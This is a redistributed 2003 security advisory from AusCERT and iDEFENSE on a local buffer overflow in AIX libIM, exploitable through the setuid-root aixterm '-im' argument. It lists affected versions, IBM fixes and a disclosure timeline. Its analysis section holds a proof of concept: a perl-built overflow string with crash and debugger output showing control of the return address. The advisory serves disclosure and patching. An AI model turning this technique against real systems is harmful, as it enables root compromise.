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AUSCERT External Security Bulletin Redistribution
ESB-2003.0097 -- iDEFENSE Security Advisory 02.12.03
Buffer Overflow in AIX libIM.a
18 February 2003
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AusCERT Security Bulletin Summary
---------------------------------
Product: National Language Support (NLS)
libIM
Vendor: iDEFENSE
Operating System: AIX 4.3
AIX 5.1
AIX 5.2
Platform: pSeries
RS/6000
Cluster 1600
Impact: Root Compromise
Access Required: Existing Account
Comment: CVE Id: CAN-2002-0087
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iDEFENSE Security Advisory 02.12.03:
http://www.idefense.com/advisory/02.12.03.txt
Buffer Overflow in AIX libIM.a
February 12, 2003
I. BACKGROUND
Advanced Interactive eXecutive (AIX) is IBM Corp.'s Unix operating system
implementation, native to pSeries and RS/6000 servers. More information is
available at http://www-1.ibm.com/servers/aix/ .
AIX provides support for National Language Support (NLS). From the AIX
manual available at
http://publib16.boulder.ibm.com/doc_link/en_US/a_doc_lib/aixprggd/nlsgdrf/n
at_lang_support.htm, "NLS provides commands and Standard C Library
subroutines for a single worldwide system base. An internationalized
system has no built-in assumptions or dependencies on language-specific or
cultural-specific conventions such as:
Code sets
Character classifications
Character comparison rules
Character collation order
Numeric and monetary formatting
Date and time formatting
Message-text language
All information pertaining to cultural conventions and language is
obtained at process run time."
libIM is a system library used by NLS on AIX.
II. DESCRIPTION
Locally exploiting a buffer overflow within libIM allows an attacker to
obtain the privileges of an application calling the library. The
"/usr/lpp/X11/bin/aixterm" binary calls the libIM library and is then
installed setuid root by default on AIX.
The "-im" command line argument used by aixterm causes the binary to crash
when filled with a string about 50 bytes in length. This allows an
attacker to gain control of the return address of the executing function,
thereby allowing code execution with root privileges.
III. ANALYSIS
Exploitation can provide local attackers with root access to an affected
system.
The following shows how the "-im" command line argument can be filled and
cause the crash of aixterm, giving the user control of the return address.
We will write the value of 0x11223344 into the appropriate register:
$ ls -la /usr/lpp/X11/bin/aixterm
- - -rwsr-xr-x 1 root system 376384 Mar 18 2001
/usr/lpp/X11/bin/aixterm*
$ cp -p /usr/lpp/X11/bin/aixterm test
$ ./test -im `perl -e'print"A"x47;print pack("l",0x11223344)'`
1363-009 aixterm: Cannot open font -dt-interface
user-medium-r-normal-l*-*-*-*-*-*-*-*-*.
Check path name and permissions.
1363-009 aixterm: Cannot open font
- - -*-roman-medium-r-normal--8-50-100-100-c-*-ISO8859-1.
Check path name and permissions.
Illegal instruction (core dumped)
$ dbx ./test core
Type 'help' for help.
reading symbolic information ...warning: no source compiled with -g
[using memory image in core]
warning: Unable to access address 0x41414149 from core
Illegal instruction (reserved addressing fault) in . at 0x11223344 ($t1)
warning: Unable to access address 0x11223344 from core 0x11223344 (???)
warning: Unable to access address
0x11223344 from core ffffffff warning: Unable to access address
0x11223344 from core fnmadd.
fr31,fr31,fr31,fr31 (dbx)
IV. DETECTION
Applications using libIM on AIX 4.3, 5.1 or 5.2 are affected.
V. VENDOR FIX/RESPONSE
A. E-fix
Temporary fixes for AIX 4.3.3, 5.1.0, and 5.2.0 systems are available.
The temporary fixes can be downloaded via ftp from:
ftp://aix.software.ibm.com/aix/efixes/security/libIM_efix.tar.Z
The efix compressed tarball contains three fixes: one each for AIX 4.3.3,
AIX 5.1.0 and AIX 5.2.0. It also includes an advisory and a README file
with installation instructions.
B. Official Fix
IBM will provide the following fixes:
APAR number for AIX 4.3.3: IY40307
APAR number for AIX 5.1.0: IY40317
APAR number for AIX 5.2.0: IY40320
NOTE: Fixes will not be provided for versions prior to 4.3 as these are no
longer supported by IBM. Affected customers are urged to upgrade to 4.3.3
or 5.1.0 at the latest maintenance level.
VI. CVE INFORMATION
The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project has
assigned the identification number CAN-2002-0087 to this issue.
VII. DISCLOSURE TIMELINE
10/31/2002 Issue disclosed to iDEFENSE
01/28/2003 IBM notifed (security-alert@austin.ibm.com)
01/29/2003 Response received from Shiva Persaud (shivapd@us.ibm.com)
02/11/2003 iDEFENSE clients notified
02/12/2003 Coordinated Public Disclosure
VIII. CREDIT
Euan Briggs (euan_briggs@btinternet.com) discovered this vulnerability.
Get paid for security research
http://www.idefense.com/contributor.html
Subscribe to iDEFENSE Advisories:
send email to listserv@idefense.com, subject line: "subscribe"
About iDEFENSE:
iDEFENSE is a global security intelligence company that proactively
monitors sources throughout the world — from technical
vulnerabilities and hacker profiling to the global spread of viruses
and other malicious code. Our security intelligence services provide
decision-makers, frontline security professionals and network
administrators with timely access to actionable intelligence
and decision support on cyber-related threats. For more information,
visit http://www.idefense.com .
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